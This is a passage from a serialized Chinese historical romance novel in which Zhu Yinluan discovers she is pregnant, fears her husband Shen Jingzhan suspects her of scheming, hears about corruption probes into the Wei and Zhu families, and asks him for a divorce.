“为何。”沈景湛疑惑她的语气如此笃定。 “因为你是正人君子。”祝吟鸾脱口而出。 话落之后,她又表示并非认为卫如琢被人弹劾的事情是诬告,只是觉得他根本不屑对付卫家,更何况他料理着殿试的案子,哪里还有空去管这些。 沈景湛笑了一下,重复她的话,“原来因为我是正人君子。” 看来,往日里,他在她的面前实在是伪装得太好了。 卫家的事情她一点都没有怀疑到他,不会认为是他下的手。 可既然如此,又是因为什么事情起了疑问,开始躲闪他的触碰了? 难不成,她的确梦到了过去的事情,果真是想起了什么? 之前,他便觉得她很有可能回想起了有关过去的事情,原是要找太医来看看,可她却不让。 “夫君笑什么?”祝吟鸾不解,“难不成夫君不是正人君子吗?” 若他不是正人君子,就是她梦里那个令人可怕的男人了? 他没有回答是不是,“天色不早了,我们该回去歇息了。” “你还没有告诉我,是谁弹劾的卫家?”她问。 沈景湛道,“骆家,骆大人做的。” “是因为长姐同骆暄和离的事情吗?”骆家怀恨在心? 祝家和卫家一旦结亲,卫如琢坐了尚书的位置就会打压骆家? 沈景湛告诉她,“礼部尚书的位置有四个人晋选,分别是四司主,其中礼部的主客司郎林项与骆家交好,林项可是说是骆大人扶持上去的人。” 原来是这样啊,沈景湛不用再说,祝吟鸾便已经明白了。 说到底,还是士族之间的利益相争。 回了院子,说到歇息,祝吟鸾担心的事情还是发生了。 沈老太太和沈夫人又派了人过来。 她听到明芽说外面的时候,真真在心里感叹听墙角老妈妈的锲而不舍,真的就是日日都来。 她如今有着身孕,最好还是不要跟沈景湛行房,万一动了胎气怎么是好? 沈景湛在房事上虽然温柔,但他自幼习武,身形高大强悍。 既然是克制温柔,却总能够叫她失控,有的时候还会尖叫出声,已经不只是低咛抽泣了。 她能够感受到,沈景湛已经比她还要了解她的身子骨。 他知道碰到了什么地方她会瑟缩,揉到了什么软处会叫她化成一滩水,吻到什么时候令她气喘吁吁。 前几日,她跟他也有行房。 又不得不说,经过之前的磨合,两人在房事之上越发的契合了。 已经不需要过多的前期哄润,春雨便会渐渐开始了。 沈景湛吻上来没一会,他的大掌在掐着她腰肢,两人拥到一处。 他的宽阔强硬的胸膛将她整个人的雪软撞得没有了形状,她就开始没有力气。 真的要得益于沈景湛生得俊逸,身骨也健.硕,与他行房令人愉悦。 更别提他很会吻,很会亲,很会.揉 叫她整个人的身子骨都泛着无尽的松愉欣悦,舒服到大哭。 想到这个,说出去恐怕都不会有人相信,说于从前的自己,恐怕她也不会相信。 祝吟鸾从忐忑到惊惧再到接受,享受,现如今她自己都渐渐有些习惯了,甚至是……喜爱了。 前几日她还在庆幸,自己的身子骨不易受孕,不管她与沈景湛如何放肆,都不必吃避子汤,可没有想到…她竟然就有孩子了。 祝吟鸾还没有想好要怎么拒绝沈景湛,他却没有那个意思,只是叮嘱她好生歇息。 闻言,祝吟鸾在心中感叹她多虑了。 沈景湛做事一向温和知礼,怎么可能会在她不舒坦的关头跟她行房。 这一夜睡都不算安稳。 祝吟鸾做梦了,但这一次她的梦境,并没有跟那个男人相关。 而是她梦到从前,回到卫家的日子,梦境走马观花略过那四年,转过头,她看到了卫家人锒铛入狱。 她不知怎么的,居然去探望卫家 人。 牢狱当中,庞氏奄奄一息,一句话都说不出来了,可见到她来,眼睛瞪着她,嘴里似乎在骂她是狐狸精,是红颜祸水,恨不得要将她碎尸万段。 祝吟鸾冷眼旁观,听着她断断续续的咒骂。 实在是听得有些腻味了,又不知道来做什么,她正打算离开。 可她刚抬脚要走,梦里庞氏竟然使尽全身的力气,爬扒到锈迹斑斑的牢笼旁边,死死抓着牢笼,说她勾结沈景湛害了卫家,如果不是她红颜祸水,卫家不至于此! 庞氏的面目可憎到了令人惊悚的地步,她的声音惨厉,一直回荡在牢房,整个人的手和脸都开始滴血,祝吟鸾被吓醒了。 她猛然睁眼,发觉竟然已经是白日了。 手腕凉凉的,抬眼看去,映入眼帘是一张俊逸的面庞。 男人眉心微蹙动,坐到她身侧,将她整个人扶抱了起来,祝吟鸾靠在他的怀里,手腕又重新被盖上了丝帕。 想问太医什么时候来的,沈景湛会不会已经知道她身怀有孕的事情了?但她没有问。 她不能说,如果这时候问起,很有可能被沈景湛察觉,暴露沈蔻玉会医术的事情。 她不仅不能问不能说,还要假装自己也不知道。 太医把脉之后,果然拱手庆贺两人,说祝吟鸾已经有了近一个月的身孕,胎象很稳。 “什、什么?!”她装出错愕的表情,整个人“大惊失色”到了极点。 随后看向沈景湛。 她眼下要看的就是沈景湛的表情,她想知道沈景湛对她的胎象究竟是怎么样的? 待触及沈景湛脸上的意外神色,祝吟鸾愣了,因为沈景湛似乎也没有想到她似乎会有身孕的样子。 但很快,他的意外神色便隐藏去了,笑着对她说,“鸾儿居然有身孕了?” 他的笑意似乎不达眼底,只浮于表面。 触及男人的神情,祝吟鸾意识到还是在人前,她也扯出一抹笑,但实在是不知道说些什么。 他扶着她躺下,给她掖了掖被褥,又问了太医一些细则,才送对方出去。 期间,祝吟鸾一直在想,带沈景湛回来要怎么问他? 可沈景湛对她的身孕也很意外,所以他不是故意的吗? 不是故意入那么深,不是故意久久停留,不是故意用那些姿势叫她怀孕? 祝吟鸾心烦意外,捏紧了被褥。 在听到沈景湛折返的脚步声,她立马松开手坐了起来。 “我……” “我怎么会怀孕?”她问他。 沈景湛居高临下看着她。 他的身形宽阔,站在床榻之前简直犹如小山一般,完完全全笼罩着她,将她整个人圈在他的身前阴影之处。 祝吟鸾下意识觉得紧张,她往旁边挪。 沈景湛也在这时候坐下,他垂眸看着她的手,似乎在思索,总之眉心微微拢起,弧度并不明显。 他的语气倒还是温和的,“我问了太医,太医说鸾儿的体质很容易受孕,所以才……才会这么快有了孩子。” 沈景湛这句话简直把祝吟鸾心里的主意全都给打乱了。 她原本还想问他知不知道是怎么回事? 可没有想到,沈景湛居然先来问她? 不,他是先去问了太医,可就算是问了太医,那又跟质问她有什么区别? 不也还是那个意思了? 意思便是他也不清楚她怎么会有孩子,觉得她骗他吗? 思及此,祝吟鸾越发坐直身子,忙解释道,“我也不知道是怎么回事,我之前在卫家很多年都没有身孕,那个太医说……” 当时在卫家时,太医就说了她容易受孕,身子骨没有任何的问题……后面在沈家也是这么说的。 如果沈景湛并没有插手,那就是卫如琢的身子骨不好,是他的原因。 祝吟鸾,“……” 其实一开始她也觉得生不出孩子,可能是卫如琢的原因。 可看过的郎中并没有说过,就是一味给她开方子,让她熬药喝,庞氏也总是在她身边念叨,还攀扯到她的小娘,说她小娘生了孩子没多久便死了,就是身子骨难以生养,她定然也是这样。 听多了这样的话,所以她也觉得应该是她难要孩子了。 在卫家的时候,那个太医给她把脉说的是真话了? 只因为碍于庞氏在场,没有点名太过,说得太深攀扯到卫如琢,那时候想着长姐的事情,她便没有过多深想… “我不知道我其实容易生养,我也并没有算计你。”祝吟鸾直言道。 “嗯,我明白。”沈景湛安抚着她,说她有了身子让她不要激动。 “太医说你的脉相虽然安稳,还是要多多休息,情绪不宜动荡太过。” 祝吟鸾被男人“倒打一耙”的计谋弄乱了阵脚,缓了好一会,她问,“先前婆母找太医给我诊脉,你说你事先打点过,那时候你…你没有提前得知我的脉相?” 所以,她最近的反常也跟这个有关系了? 怀疑他给她下套,让她怀孕。 沈景湛隐藏心中情绪,他蹙眉跟她解释那次的事情, “当时母亲找太医来给你看身子,家里的人给我传信,当时我在勤政殿,并不得空听细则,只能匆匆吩咐手底下的人要办妥这件事情,把母亲那边给掩饰过去,打点好母亲身边的人。” “后来也只是询问太医是否解决了,并没有细问鸾儿的身子到底是什么情况。” 祝吟鸾听着男人的话沉默下来。 他说完太医的事情也有片刻的沉默。 两人之间少见的死寂。 过了一会,男人视线往外转,他的语气依旧温和,但褪减往日做戏才有的情意缠绵,多了公事公办。 “实不相瞒,我早听闻祝小姐嫁入卫家四年难以生养,所以才择迎祝小姐进门,当时我想女子身子终归是姑娘家的私隐,所以不曾过分细究追查……” 祝吟鸾听到他前半句话语里的“祝小姐”,下意识看向他的侧脸,生疏清冷,竟然觉得心里有些委屈和失落。 真是看惯了沈景湛往日的温柔体贴,今日他骤然脱身,不过一句祝小姐,就让她鼻尖酸涩? 祝吟鸾的另外一只手攥紧了被褥,“……” 沈景湛的余光自然留意到了她的动作,但不得不这么做。 因为若是不演这一出戏,她的疑心会越来越厉害。 届时翻出滔天风浪,他恐怕难以掌控。 于是他只当没有看到,继续道,“此事已成定局,也不能全然怪你。” “毕竟一开始你也对我抗拒,圆房一事……” 男人顿了一下,仿佛想到了什么,眉心蹙得比刚刚还要厉害。 祝吟鸾顺着他的话往前回想,想到两人的“洞房花烛夜”,那时候似乎是她主动跟沈景湛说可以圆房?他拒绝了她? 是这样吗? 此刻思绪乱如麻,她都快要想不起来当时的情景了。 祝吟鸾强迫自己冷静下来。 想了一会,她想起来的确是她主动跟沈景湛说不如就圆房。 可在那之前她也抗拒的,甚至还惊恐问了两人该不会要圆房吗?那时候他也问了她不想跟他圆房吗? 沈景湛今日骤然变脸,莫不是觉得她…当时是以退为进,欲退还迎?故意给他下套? 她没想到,事情怎么会发展成这样? 沈景湛居然开始怀疑她用心不良了。 她没有 理由这么做啊。 话是这么说,她又不可避免站到沈景湛的角度上想这件事情。 沈景湛怀疑她动机不纯,用心不良,完全是……说得通的。 因为沈景湛是什么人? 侯府世子,天子近臣,人又生得俊逸完美,多少人垂涎。 而她……被娘家扫地出门,什么都没有,当时还官司缠身。 若说她为了坐稳世子夫人的位置,算计沈景湛生孩子,也无可厚非。 但她根本就没这么做啊。 现如今,她要怎么说,才能让沈景湛相信。 会不会他出去的时候问了太医,得知了先前太医在卫家给她把脉,告诉她,她身子骨没问题的事情了? 她要怎么自证? “我——”她觉得自己一定要说点什么,不能让沈景湛污蔑她,她根本就没有算计他,也没有想要凭借孩子坐稳世子夫人的位置。 可刚要开口,沈景湛打断道,“没事,就这样吧,过去的事情多说无益,我也有错。” 他总算是把脸转过来了,脸上恢复了些许温柔,“有了孩子便好生养着,你好生休息。” 言罢,男人给她掖了掖被褥,起身要走。 祝吟鸾伸手拽住他。 他脚步停下来,没有转身,但目光已经先一步落到了她拽着他手腕的地方。 祝吟鸾被他看得心里很不是滋味。 沈景湛往日都没有对她这般抗拒,现如今……就好像在一夕之间变了。 变相的,她居然感受到了前些时日沈景湛来拉她,被她躲开之后的感受。 他当时难堪之余,也会这般失落,甚至觉得心里受伤吗? 会吗? 不会吧。 他似乎一直清醒,得知她怀孕,觉得她算计,今日都叫她祝小姐了。 祝吟鸾松开他的手之前,先跟他说了一句,“你先不要走,我有话跟你说。” 男人没有作答,祝吟鸾攥了一会,还是把他的手给松开了。 “我…我没有算计你。”这是她第一句话。 祝吟鸾坐起来,仰着一张玉面看着男人略显清冷的侧脸。 “我知道……此刻我没有佐证,说什么你都不会相信。” “但你与我也相处了些许时日,我是怎样的人你也应该有些清楚的吧?” 她只能寄希望于此了,虽然说服力不大,毕竟她和沈景湛成亲没有多久,往日里他又总是忙碌,夜里两人水.乳.相融更多一些。 可……夜里的事情,祝吟鸾已经不想再提了,毕竟她贸然有了孩子,而沈景湛怀疑她算计他。 她此刻还能怎么说啊? “听澜……” 她下意识叫了他的表字,声音也放软了一些。 “你于我而言,不仅仅是…盟友,更是我的恩人,我心里一直是感激你的,没有你,我或许早就被家里人逼得走投无路,赶出京城,亦或者身首异处了。” “我这个人有恩必报,你对我这样好,帮我许多次,总救我于危难,我怎么可能会算计你?” “不管你信不信,我真的没有做过。”祝吟鸾都不知道她自己怎么了,委屈得难过至于鼻酸,她想掉眼泪。 但又不想在沈景湛的面前哭。 于是捏着被褥强行忍了回去,微低下头,视线触及她的肚子,道, “…这个孩子来得意料之外,本就不应该存在给你添烦恼,现在趁大家都没有发现,只有你我得知,你封了太医的口,给我拿一剂落子汤来吧,我吃了便好。” 她心一横,这是最好的办法了。 祝吟鸾只觉得眼前有一团迷雾,是泪吗?她不能哭的。 甚至开始在心里后悔,觉得她当初不应该嫁入沈家? 她心乱如麻,不知道说什么了。 好一会,原本要走的男人却坐了下来,坐到她的身侧? 祝吟鸾没敢看过去,只感觉到床榻边沿一重,有阴影笼罩在身前。 他怎么还不走。 是不是真的要打掉这个孩子? 祝吟鸾在等着沈景湛的后话,心里也略微忐忑。 若是沈景湛真的说不要,她又该如何? 话是这么说,真的不要这个孩子,走到那一步,她扪心自问,心中还是很难过的。 可她没有想到,沈景湛没有提孩子,只是问她, “鸾儿觉得我是盟友,是恩人,感激我帮过你很多次,除此之外,就没有别的什么了吗?” 别的什么? 他还想要问什么?问她有没有盘算谋算他? 可她又觉得沈景湛的话里似乎不是这么要表达这个意思。 “鸾儿对我,没有一丝男女情意吗?” 第60章 第60章“沈景湛,我们和离吧。”…… “嫂嫂!” 祝吟鸾用过午膳在庭院的小花厅里面坐着发呆。 忽而身侧传来一声清脆的叫喊,她的眼前垂落一个小物件。 祝吟鸾在怔愣当中回神,这才看清楚沈蔻玉放到她眼前的东西是一个精致的紫玉吊坠。 紫玉被雕刻成了荷包的样式,耀眼夺目,纵然她此刻没有什么心情,目光也不自觉追随这个紫玉吊坠的摆动而移动。 沈蔻玉不好说这是沈景湛让她拿来哄祝吟鸾的。 只佯装是从奉安公主给她送的玩意里面挑出来的,她觉得紫玉适合祝吟鸾,送给她戴着玩。 “嫂嫂,你近来是怎么了?不爱笑,话也少了很多,总是心事重重,到底发生什么事了?”沈蔻玉来套话。 祝吟鸾扯出一抹笑,跟她道没什么,只是时节不好,所以总觉得懒洋洋的,人也提不起什么精神。 她的视线不自觉落到小腹上,眉眼之间的愁随之泛了上来。 沈蔻玉见状,也没有说话,“” 不知道祝吟鸾和沈景湛两人是怎么打算的,分明已经找了明面上的太医来看过了,可还是没有告知家中人身怀有孕的事情,故而沈侯爷和沈夫人都不知道祝吟鸾怀孕了。 这些时日祝吟鸾似乎心事满怀,比以往还要沉默。 虽然她和沈景湛面上都伪装得好好的,可沈夫人和沈老太太可都是人精,怎么会察觉不到两人之间的微妙。 没有闹到明面上,自然也就不好问究竟是怎么回事了? 便找了沈蔻玉去探话,沈蔻玉只知道祝吟鸾身怀有孕,并不清楚两人之间究竟发生了什么,又不敢贸贸然掺和,害怕引火烧身,便一直推诿有事不想去。 纵然她千般推诿,沈夫人和沈老太太还是叫她去打探消息,为了驱使她,甚至说了成亲的事情能再“宽”她一些时日,如此“厚利”,沈蔻玉不得不掺和。 沈景湛那边,沈蔻玉不敢去怵眉头,毕竟还有事要求沈景湛,只能来找祝吟鸾,可她都还没想好要怎么问呢,沈景湛叫了她过去,给她拿了紫玉吊坠,叫她送过来。 紫玉可难寻,天然的紫玉更是少见,母亲手上都没有,哥哥倒是舍得,雕成坠子让人拿着玩。 既然疼惜,干嘛还要惹人不快活? 祝吟鸾嫁到沈家的时日虽然不长,但性子恬静有目共睹,沈景湛可是笑面虎活阎罗不好惹,所以沈蔻玉断定,必然是沈景湛惹了她不快活。 见祝吟鸾拿着玉坠摩挲,应当还是喜欢的吧? 沈蔻玉趁机追问,“果真么?若是嫂嫂遇到了什么事也可以告诉我的,我或可以帮嫂嫂解忧呢?”沈蔻玉扬了扬手里的玉鞭,说她可以将对方抽得稀巴烂。 祝吟鸾笑了一下,但很快又不笑了,沈蔻玉反问她是不是不相信? 说着说着,她当即起身在祝吟鸾面前给她耍了一段鞭子。 沈蔻玉本就生得俏丽明艳,加之她耍的鞭子既柔和又不失凌厉,一动一作全然叫人挪不开眼。 她收鞭的时候卷了一朵盛开的芍药,递祝吟鸾,还说这花开得虽然美,却不及祝吟鸾半分,祝吟鸾接了花,叫她别夸了,说不敢受用。 坐下来擦了擦额面的汗珠,沈蔻玉吃了一盏茶,“是不是哥哥欺负嫂嫂了?” 提到沈景湛,祝吟鸾没说话。 她想到那一日太医来把脉之后发生的事情。 她怎么都没有想到事情居然会发展成那样,更没有想到,闹成那样不愉悦了,沈景湛后面怎么会问她,对他有没有一丝男女情意? 当时她的思绪本就混沌,还在想着他会怎么说,怎么定夺她腹中孩子的去留。 听到那句话,整个人都有些愣住了,等彻底回神意识到沈景湛说了一句什么话的时候,沈景湛已经出去了。 自从那日以后,两人默契得维持着表面的平静,私下里都没有怎么说话。 姚家果然还是出事了,太尉大人被问责,囚禁在了宫内,陛下让沈景湛主理此案,他手上不得空闲。 又恢复了从前的早出晚归,她只知道沈景湛夜里回来过,不清楚他何时回来,又是何时走的。 他是让她自己思忖么? 可他那日就问了那么一句,祝吟鸾不清楚,他问她的有没有对他生出男女情意,究竟与算计相不相关? 若是她点头说对他生出了男女之间的情意,那岂不是有私心了? 若说是没有,一丝都没 有 却也不是。 她撒不了这个谎。 男女之间的事情哪里是一句两句说得清楚的? “哥哥这个人吧” 沈蔻玉边喝茶边尝试宽解祝吟鸾, “有时候做事是霸道厉害了一些,但但他喜爱嫂嫂,定然是惦记疼惜嫂嫂的。” 沈蔻玉看着祝吟鸾手里把玩的紫玉接着道,“哥哥先前也没有接触过姑娘家,难免闪闪失失做得不好,嫂嫂你你不要和他计较了。” “更何况”沈蔻玉压低声音,“嫂嫂你肚子里还有孩子呢,就算是脉象稳定,也不宜总是心情低落啊,万一出什么事情可就不好了。” 祝吟鸾摩挲着掌中紫玉雕刻荷包的纹路,只觉得这纹路走势活灵活现。 说起来坠子,之前她也有一个,是木头雕刻的小燕春哨,她也不记得是从何处买的了,是在箱笼当中翻到的,或许是小娘留给她的小玩意吧。 只是后来出嫁,那物件弄丢了,至今没有找到。 “这是谁雕刻的?”祝吟鸾问。 沈蔻玉不防她这么一问,愣了一会,连忙说她也不知道,“送来就是这个样子了,若是嫂嫂想知道,我回头送礼的时候问问公主?” 祝吟鸾摇头,“不必了。” 许是她多心了吧,她的小燕春哨怎么可能跟紫玉荷包吊坠的同出一人之手雕刻啊? “嫂嫂,你究竟有没有在听我说话?”沈蔻玉问。 “我听到了。”她只是听不进去。 “那你——”沈蔻玉还想接着做和事佬,不防备祝吟鸾忽而反问她,“你觉得你哥哥喜爱我吗?” “自然喜爱啊,嫂嫂你说的这是什么话?”沈蔻玉都不理解她为何要这么问。 沈景湛对祝吟鸾的喜爱和偏颇,沈家人几乎尽皆知,这一点是毋庸置疑的,为何祝吟鸾却似乎怀疑,甚至是不相信呢? 看着沈蔻玉的神色,祝吟鸾喃喃反问是吗? 往日里沈景湛装得实在太好了,不仅她时常晃神,就连身边的人都深信不疑,觉得他喜爱她。 可是,沈景湛真的喜爱她吗? 没有吧。 有时候她也莫名其妙感受到,可可他昨日骤然的一句祝小姐,简直就像是一盆凉水瞬间将她给泼醒。 思及此,祝吟鸾越发觉得她自己虚伪,实际上,她还是对沈景湛动了一些心思的。 若是只把他当成盟友,当成恩人,就不会因为他骤然拉开距离的称谓而委屈和失落了。 甚至是难过到想哭。 越是想,祝吟鸾越厌弃自己。 她辜负了沈景湛对她的信任,当初说好的,不会惦记他,现如今却抵挡不住诱惑,何时晃动的心绪,真要说,她自己都说不清楚。 沈景湛一定是发觉了,所以才那么问她。 一定是的。 “我错了”祝吟鸾又低喃一声,看着手中的紫玉荷包吊坠。 “嫂嫂,你不要吓我,你到底是怎么了?”沈蔻玉见她神神叨叨,真害怕自己没有把人给劝好,反而把事情给搞砸了,那才是祸孽。 “没事。”祝吟鸾自嘲笑了一声,长呼一口气。 “只是觉得我错了。” 她对自己太自信了,当初笃定不会对沈景湛动心,似乎还信誓旦旦跟着他说了不会惦记他,现如今却弄成这个样子。 说到底,是她自己阅历太少了,经的事情也少,才会这样。 沈景湛风度,没有跟她计较,那日说的话或许已经算是好听了,若是斥责得难听一些,说不定,她还真的会当着沈景湛的面给哭出来。 “嫂嫂你错什么?就算是有错,也是哥哥的错!” 沈蔻玉见她的心绪低落,忙着哄人说话也急了一些,甚至还扯到了上次那画像的事情,说沈景湛必然是喜欢她的,否则也不可能将她的画像偷偷藏在书房多年了,还时不时拿出来偷看。 “除此之外,嫂嫂我与你说一个秘密”沈蔻玉凑到她的耳边,“在你没有嫁过来之前,哥哥还画了很多你的画像呢,都是一些新的,就在哥哥的书房当中,如此一往情深,怎么不算是喜爱嫂嫂?” 沈蔻玉是冒着得罪了沈景湛的心思,才告诉祝吟鸾。 只可惜,眼下的祝吟鸾沉浸在难过当中,根本就没有反应过来,也没有将她的话放在心上。 只以为沈蔻玉所说的那些画像,是沈景湛已经出嫁的心上人。 这一刻她越发难过起来。 她不想难过,却又不可避免察觉到了羡慕,甚至是丝丝的妒忌 她居然开始妒忌那已经出嫁多年,却还是被沈景湛放到心上的姑娘。 祝吟鸾甩开心中的思绪。 已经开始做好了打算。 见她一句话都不答应了,沈蔻玉也不知说些什么为好,干脆就闭嘴沉默。 “” 晚膳时分,沈景湛的随从过来传话,说他今日回来的时辰晚,让祝吟鸾不必等着他用饭。 祝吟鸾沉默点头,在随从退出去之前,她叫住对方问沈景湛什么时候可以回来? “我有话与他说。” 随从思索片刻,“世子爷公事繁忙,属下不得而知,但您的话,属下一定代为传达。” “嗯。”祝吟鸾点头。 她一个人用着晚膳,但因为心绪不佳,却也没有吃多少。 正打算搁下银筷,明芽上前劝她多吃一些,却听到韵梅堂的老妈妈过来传话,说沈老太太想要见她。 祝吟鸾猜测很有可能是因为今日的事情。 漱口净手便过去了。 却没想到沈老太太要说的根本就不是这件事情,祝吟鸾刚坐下,沈老太太便问她清不清楚祝家和卫家的纠葛。 祝吟鸾一头雾水,诚实摇头说她自从与卫家和离之后,就再也没有牵扯了,并不清楚。 “祖母,发生何事了?” “卫家贪污,卫家和祝家联姻,祝家也被查了,你不知道吗?”沈老太太问。 祝吟鸾摇头,“孙媳不知。” 最近竟然发生了这么多的事情? 她身居沈家后宅,居然一点风声都没有听到。 必然是有人刻意隐瞒了消息,祝吟鸾第一个想到的人是沈夫人。 沈夫人一直不想要她和祝家有任何的牵扯,上一次就跟她说过了。 “前些时不知道,如今我跟你说了,你的心里要有些数。”沈老太太放下手里盘转的玉珠。 “…是。”祝吟鸾应声。 沈老太太接着道,“你公爹和婆母跟我说,卫家前不久便出了事情,原本只是受人弹劾,但经过督查司和大理寺查了一段时日,贪污结党是八.九.不离十,板上钉钉了,必然是要被治罪的。” “祝家和卫家似乎在议论你长姐与卫如琢的婚事,往来十分密切,如今祝家受到牵连也被纠察了,你父亲和兄长都被停职在家,祝家为了走门路,很有可能会找上你和听澜。” “听澜那边,我和你公爹婆母都已经说过了,他答应不会再管祝家的事情,若是祝家求到你这边来,你应该知道怎么做吧?” 祝吟鸾听得胆战心惊,不免想到很早之前沈景湛帮祝鸣生提携官位的事情,他会不会也受到了牵连啊? “孙媳知道,只是” “ 只是什么?”沈老太太见到她眉头紧皱,语气吞吞吐吐,也跟着沉眉。 原还以为祝吟鸾优柔寡断,不想跟她的娘家割舍,正准备等她开口了便训斥一二,却没有想到祝吟鸾开口竟然是在沈担心沈景湛。 听她说完,沈老太太的面色稍微缓和,幸而不是一个胳膊肘只知道往外拐的。 沈老太太的脸色也稍微好看了很多,“这件事情你就不必担心了。” “听澜做事一向稳妥,更何况也有你公爹和沈家的人在其中斡旋。” 本来还想要说说祝吟鸾,可见她的神色不怎么好,沈老太太想到她往日在跟前的孝顺,便没有开口。 “你这边我倒是叮嘱了,我老婆子也知道你是个听话的孩子,定然不会再去攀扯祝家的事情,但是你娘家那边就说不准了,这些时日想必是求告无门,往沈家送了不少拜帖,甚至你父亲都亲自来了。” 祝吟鸾紧张,“公爹和婆母接了吗?” “没有。”沈老太太直接告诉她,“眼下不会接,日后也不会接。” “避免你应付你家中的人麻烦,这些时日你也不要出去了,免得生事。” 避而不见,的确是最好的法子。 祝吟鸾点头,“嗯。” 说完这件事情,沈老太太又问她最近是怎么了,“这句话我老婆子本来不应该问,但你与听澜之间是不是生了什么龃龉。” 在叫祝吟鸾过来之前,沈老太太曾经也怀疑过,是不是家里有嘴巴不严的人让祝吟鸾知道了祝家和卫家的事情,所以她总是忧心忡忡,甚至跟沈景湛之间生出了龃龉? 沈老太太还猜测,祝吟鸾很有可能心软顾惜娘家,想要沈景湛帮她做什么事情,沈景湛不愿意,所以才闹了? 可方才听着祝吟鸾的口风,她根本就不知道发生了什么事情,倒叫沈老太太放心了。 但是话既然都说到了这里,索性就“提点提点”她。 祝吟鸾沉默两息之后说没有。 知道祝吟鸾不想说,沈老太太也不逼她,这小夫妻之间,年轻气盛,难免会有不合意的冲撞,这都是在所难免的事情。 “听澜在家中历来是个有主见且软.硬.不吃的性子,也没有什么耐心,但他对你已经算是分外爱惜,按理说你的出身是不配进入沈家门的,哪怕是做妾都不行,但他非要你,铁了心思要娶你。” “为了娶你,还下了不少功夫,处心积虑给你找新娘家新靠山,还让你婆母给你添妆,那分量就跟嫁女儿没什么区别的,你到沈家之后,他对你也是处处维护,没有一丝慢待,因为他知道给足了你在意和喜爱,在这个家中就不会有人敢轻慢你。” “祝氏,你扪心自问,听澜对你如何?” 祝吟鸾垂眸听着,她小幅度抿咬着唇肉,点头说沈景湛对她很好。 “他对你很好。”沈老太太肯定了这句话。 “既然你知道他对你很好,那往日里也多多体谅他些许吧。” 沈老太太倒没有说这是祝吟鸾的错,只说过日子总有碰撞,让她哄着沈景湛一些。 祝吟鸾一直听着不曾反驳,良久之后,沈老太太说完了,她点头,“孙媳知道了。” “时辰不早了,你回去也早点歇吧。” 沈老太太让老妈妈送她回去。 在回去的路上,老妈妈也宽慰了她好几句,祝吟鸾一一应好,表示她都听进去了。 到院子的时候,沈景湛果然没有回来。 祝吟鸾看着寂静的内室,转头瞧窗外受晚风吹拂而摇动婆娑的树影,不免想到了过去,在卫家的时候,但凡有什么郁闷想不开的事情,她时常趴在窗桕那地方看景。 卫家的院子虽然修得也还不错,但是跟沈家的比起来实在是差远了。 祝吟鸾此刻却没有什么赏景的心思。 她只觉得心里乱乱的。 前所未有的乱。 短短几日的功夫,卫家居然就被查成这个样子了,就连祝家都受到了牵连。 沈景湛虽然在处理太尉的事情,但不知道他有没有受到牵连呢? 她虽然已经跟祝家脱身干净了,但到底是贯着一个祝姓。 她倒是不怕死,就是害怕牵连了沈景湛,牵连了沈家,施家。 即便沈老太太已经说了只要她不管,只要她一直待在内宅就没事,但她怎么都放不下心。 尤其是想到沈景湛帮着祝鸣生提携了官位的事情。 她总感觉这件事情没有那么容易翻篇。 是她的错觉么? 祝吟鸾发了好一会呆,去沐浴梳洗。 明芽心疼她晚膳没有用多少,说给她熬些许夜宵小食,被祝吟鸾给拒绝了。 今夜祝吟鸾躺下之后久久没有睡意,但她没有翻身,不曾惊动守夜的姣惠。 不知道是几更天。 她感觉并没有过去多久,沈景湛居然回来了。 她听到外面有动静,起初以为是小丫鬟进来添香,但细听之下不是,因为传来了请安的声音。 沈景湛的确是回来了。 他今日是比往日回来得早吧? 先前问了守夜的小丫鬟,都说他是夜半才回来的,今日居然这么早。 是因为什么? 刚开始祝吟鸾在想是不是因为她让随从传了话? 但很快又甩开了这个念头,避免深.入.去想,让她自己也难过。 让祝吟鸾意外的是,沈景湛居然比小丫鬟还要察觉到她没有歇息。 他回来之后,小丫鬟们退出去,祝吟鸾听着他的脚步声,原本是要去浴房的,不知怎么的拐了过来她这边。 祝吟鸾犹豫着刚要坐起来,沈景湛却先一步掀开了幔帐。 两人的视线久违的,在昏暗的光线当中对上。 有一瞬间的静默无言。 祝吟鸾忍不住紧张起来,她的手下意识就攥紧了被褥。 幸亏小丫鬟们没有将内室的烛火给点燃,她猜测,应当是沈景湛吩咐的吧?毕竟他历来细心体贴。 “” 久违的对视之下,是祝吟鸾率先挪开了目光。 她觉得沈景湛的身形太高大了,眼眸又深邃幽暗,堵在床榻之前,看得她无比心慌。 她刚要开口说些什么转移话茬,却还是慢了一步,因为沈景湛赶在她的前面开口了。 他的声音磁沉,“这么晚了,鸾儿怎么还没有歇息?” 祝吟鸾轻咬唇瓣,想着回他些什么为好。 似乎回些什么都不好。 想说在等他?还是想着最近发生的事情睡不着? 思来想去,祝吟鸾索性就换了一个口风,“你回来了” 她像是发愣的后知后觉。 沈景湛看着床榻之上坐起的姑娘,身形娇小窝在被褥当中,泼墨似的长发披散在身后,笼罩着她。 她的眉眼低垂躲闪,似乎还在计较那天的事情,见到他还是紧张的。 以为在黑暗当中他便瞧不见了,整个人的手捏着被褥,人的侧脸都是紧绷着的。 “嗯。”沈景湛应她,“我先去沐浴。” 言罢,男人放下幔帐走了。 祝吟鸾却睡不着,她索性起来让小丫鬟多燃了一盏烛火,将内室照得稍微亮堂了许多。 她听着浴房传来的淅沥水声,想到之前和沈景湛在床榻之上的痴.缠。 有时候她累得晕过去了亦或者没有力气软趴在他的肩头,他会抱着她去沐浴,还给她擦洗。 时日没过多久,这一切就好似旧梦一般恍若隔世了。 半炷香之后,沈景湛出来了。 他只穿着月白中衣都让人感受到挺拔伟岸的身骨。 不知道是不是着急,他身上的水珠还没有擦拭干净,中衣黏到了身上,祝吟鸾透过烛火,见到了男人若隐若现的腹肌人鱼线。 她觉得很不自然,连忙撇开眼睛。 沈景湛却像是没有发觉他的衣衫有些许不得体,他坐到她身侧问她怎么起来了? 祝吟鸾没有说话,只是沉默。 沈 景湛像是才发觉她的“反常”,问她怎么了? 祝吟鸾起身去给他拿了斗篷,又遣散了内室伺候的小丫鬟们,“我有话与你说。” 男人擦着长发,他轻嗯,“今日身边人已然告诉我了,鸾儿要跟我说什么?” 祝吟鸾鼓起勇气,她道, “沈景湛,我们和离吧。”【你现在阅读的是 】 60-70 第61章 第61章他不和离。 祝吟鸾感觉到她说完这句话之后,男人擦着湿发的动作顿了,视线瞬间锁到了她的身上。 没错,是瞬间锁定在了她的身上。 令她心下一惊。 且他的眸色仿佛不同以往的温和,在烛火的映照下,也变得越来越幽深沉暗,他定定瞧着她许久不曾说话。 男人长久的,沉默的,目不转睛的注视,叫她无端之间感受到了危险。 